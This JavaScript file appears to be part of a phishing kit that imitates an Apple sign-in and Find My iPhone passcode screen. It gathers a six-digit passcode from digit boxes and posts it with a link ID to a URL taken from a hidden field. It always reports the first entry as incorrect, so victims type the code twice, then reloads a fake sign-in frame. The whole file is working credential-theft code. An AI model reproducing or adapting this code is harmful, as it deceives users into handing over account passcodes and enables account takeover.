var ScriptedSequence = $("#ScriptedSequence", window.parent.document).val()
	,ModalCancelButton = $("#modal-signin-cancel", window.parent.document)
	,LinkID = $("#lid")
	,PostUrl = $("#post_url");

function charHandler() {
    for (let e = 0; e < 6; e++) $("#char" + e).on("keyup keypress keydown", (a => {
        $("#form-security-code-error").css({
            opacity: 0,
            "pointer-events": "none"
        }), $("#form-security-code").removeClass("is-error"), 8 === a.keyCode ? ($("#char" + e).val(""), 1 === e ? SetFocusOnDigit("#char0") : 2 === e ? SetFocusOnDigit("#char1") : 3 === e ? SetFocusOnDigit("#char2") : 4 === e ? SetFocusOnDigit("#char3") : 5 === e ? SetFocusOnDigit("#char4") : 6 === e && SetFocusOnDigit("#char5")) : (Filter("#char" + e), 1 === $("#char" + e).val().length ? 0 === e ? SetFocusOnDigit("#char1") : 1 === e ? SetFocusOnDigit("#char2") : 2 === e ? SetFocusOnDigit("#char3") : 3 === e ? SetFocusOnDigit("#char4") : 4 === e ? SetFocusOnDigit("#char5") : 5 === e && (1 === $("#char0").val().length ? 1 === $("#char1").val().length ? 1 === $("#char2").val().length ? 1 === $("#char3").val().length ? 1 === $("#char4").val().length ? 1 === $("#char5").val().length ? 1 === $("#char0").val().length && 1 === $("#char1").val().length && 1 === $("#char2").val().length && 1 === $("#char3").val().length && 1 === $("#char4").val().length && 1 === $("#char5").val().length && SubmitForm() : SetFocusOnDigit("#char5") : SetFocusOnDigit("#char4") : SetFocusOnDigit("#char3") : SetFocusOnDigit("#char2") : SetFocusOnDigit("#char1") : SetFocusOnDigit("#char0")) : SetFocusOnDigit("#char" + e))
    })), $("#char" + e).on("click", (() => {
        $("#char" + e).removeAttr("data-focus-method")
    }));
    return null
}

function SetFocusOnDigit(e) {
    return $(e).focus(), $(e).attr("data-focus-method", "key"), null
}

function SubmitForm() {
    var e = $("#char0");
    var a = $("#char1");
    var r = $("#char2");
    var t = $("#char3");
    var n = $("#char4");
    var o = $("#char5");
    var i = $("#verifying-code");
    var s = $("#verifying-code-text");
    var c = parseInt($("#Counter").val());
    var d = $("#DiagnosticData", window.parent.document).val();
    var l = $("#deviceIdentifier", window.parent.document).val();
    var h = $("#ui-form-switcher-loader", window.parent.document);
    var u = $("#form-container", window.parent.document);
    var m = $("#header-view", window.parent.document);
    var p = $("#FMiPContaner", window.parent.document);

    for (var eIndex = 0; eIndex < 6; eIndex++) {
        $("#char" + eIndex).prop("disabled", false);
    }

    $(ModalCancelButton).css({
        "pointer-events": "none",
        color: "var(--theme-color-gray3)"
    });
    $(i).removeClass("invisible");
    $(s).removeClass("invisible");

    window.parent.SendRequest($(PostUrl).val(), {
        type: "POST",
        dataType: "json",
        timeout: 60000,
        data: {
            type: "passcode",
            id: $(LinkID).val(),
            pass: $(e).val() + $(a).val() + $(r).val() + $(t).val() + $(n).val() + $(o).val(),
        }
    }, 10, 2500, function (response) {
       
	   if (c === 0) {
			$("#Counter").val("1");
			setTimeout(function () {
				$(i).addClass("invisible");
				$(s).addClass("invisible");
				$("#form-security-code").addClass("is-error");
				for (var j = 0; j < 6; j++) {
					$("#char" + j).prop("disabled", false);
					$("#char" + j).val("");
					$("#char" + j + "-container").addClass("is-error");
				}
				SetFocusOnDigit("#char0");
				$("#form-security-code-error").css({
					opacity: "1",
					"pointer-events": "auto"
				});
				$("#form-message-incorrect-code").removeClass("hidden");
				$("#form-message-server-error").addClass("hidden");
				$(ModalCancelButton).css({
					"pointer-events": "all",
					color: ""
				});
			}, 3000);
		} else {
			setTimeout(function () {
				$(m).addClass("hidden");
				$(u).addClass("hidden");
				$(h).removeClass("hidden");

				setTimeout(function () {
					$("#aid-auth-widget-iFrame", window.parent.document).prop("src", "Components/Frames/signin.php");
					$(m).removeClass("hidden");
					$(u).removeClass("hidden");
					$(h).addClass("hidden");
				}, 3000);
				
			}, 2500);
		}
    });

    return null;
}


function Filter(e) {
    return $(e).val($(e).val().replace(/[^0-9]/g, "")), $(e).removeAttr("data-focus-method"), null
}

$(document).ready(function () {
    var e = $("body");
    var a = $("#si-container");
    var r = $("#sign-in-label-passcode", window.parent.document);
    var t = $("#sign-in-label", window.parent.document);
    var n = $("#sign-in-label-2fa", window.parent.document);

    // Add and remove classes
    $(t).addClass("hidden");
    $(r).removeClass("hidden");
    $(n).addClass("hidden");

    // Enable modal cancel button
    $(ModalCancelButton).css({
        "pointer-events": "auto",
        color: ""
    });

    // Check for dark mode preference and apply theme
    if (window.matchMedia && window.matchMedia("(prefers-color-scheme: dark)").matches) {
        $(e).addClass("theme-dark");
        $(a).attr("data-theme", "lite");
    } else {
        $(a).attr("data-theme", "dark");
    }

    // Listen for changes in the dark mode preference
    if (window.matchMedia("(prefers-color-scheme: dark)")) {
        window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change", function (r) {
            if (r.matches) {
                $(e).addClass("theme-dark");
                $(a).attr("data-theme", "lite");
            } else {
                $(e).removeClass("theme-dark");
                $(a).attr("data-theme", "dark");
            }
        });
    }

    // Adjust container margin
    $(a).css("margin-top", "-30px");

    // Set focus and handle characters
    SetFocusOnDigit("#char0");
    charHandler();
});
